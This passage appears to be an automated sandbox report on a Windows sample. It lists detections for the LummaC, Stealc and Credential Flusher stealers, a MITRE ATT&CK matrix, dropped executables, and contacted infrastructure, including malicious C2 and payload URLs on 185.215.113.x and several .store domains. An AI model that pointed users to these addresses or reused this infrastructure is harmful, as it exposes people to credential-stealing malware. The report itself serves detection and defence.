Source: Yara match	File source: 00000001.00000003.2257552528.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2933572737.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3249825676.00000000012CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2276102301.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2870209889.0000000000F80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2230449853.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3248585111.00000000012C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2274099543.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2257484498.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2925691440.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2904996879.0000000000F81000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2933477170.0000000000F89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2230118072.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2274015399.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2908401382.0000000000F85000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2909263406.0000000000F85000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2230671655.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2933870732.0000000000F8F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2245245805.0000000000CF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2926716507.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2244305444.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2276164069.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2925909050.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2926355406.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2881753122.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 445877ac99.exe PID: 364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 445877ac99.exe PID: 1300, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: b0a3006fe7.exe PID: 6964, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 445877ac99.exe PID: 364, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 27.0.num.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.num.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.num.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.num.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.d319b3db9a.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.d319b3db9a.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000000.2984929700.0000000000A51000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.3262528586.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3246382024.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.3262383199.0000000000A51000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3337935516.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.2984970513.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3340336007.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3336590908.0000000000A51000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2887185051.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3007015079.0000000000A6E000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3124725188.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3000892986.0000000000A51000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2941246980.0000000000A21000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2940937708.000000000087E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3255449606.0000000000A21000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3014369774.000000000147E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d319b3db9a.exe PID: 3700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 3108, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	21 File and Directory Discovery	Remote Services	11 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	22 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	52%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hostname[1].exe	100%	Avira	HEUR/AGEN.1323344
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	100%	Avira	HEUR/AGEN.1323344
C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hostname[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002748001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hostname[1].exe	13%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe	13%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002748001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
softwarefile.cc	7%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
http://detectportal.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://json-schema.org/draft/2019-09/schema.	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://shavar.services.mozilla.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
http://exslt.org/sets	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://content-signature-2.cdn.mozilla.net/	0%	URL Reputation	safe
https://json-schema.org/draft/2020-12/schema/=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://shavar.services.mozilla.com/	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
softwarefile.cc	41.216.183.61	true	false	7%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false		unknown
ipv4only.arpa	192.0.0.171	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
necklacedmny.store	188.114.97.3	true	true		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	172.217.18.14	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
presticitpo.store	unknown	unknown	true		unknown
thumbystriw.store	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
crisiwarny.store	unknown	unknown	true		unknown
fadehairucw.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.openh264.org//	firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://basket.mozilla.org/news/subscribe_sms/	firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/(	firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://detectportal.firefox.com/	firefox.exe, 0000001A.00000002.3370312333.00000234EF527000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-pixellinear-gradient(90deg	firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001A.00000002.3224823843.00000234DECDB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3208613194.000001B2BCA72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/&Y	445877ac99.exe, 0000000B.00000003.3231442912.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?extsrc=mailto&url=%sPdfJs.init	firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeer	file.exe, 00000001.00000003.2381432879.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2381347538.0000000000D01000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001A.00000002.3319814174.00000234ED2BF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001A.00000002.3319814174.00000234ED25D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.comnetwork.proxy.backup.socks_porthttps://screenshots.firefox.comwidget.use-	firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ebay.com	firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 0000001A.00000002.3332058969.00000234EEB1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com	firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3007858315.00000234EEE30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3008128044.00000234EEE51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2997516237.00000234EEC00000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2	firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm	firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2997516237.00000234EEC00000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-jscolor-mix(in	firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	false		unknown
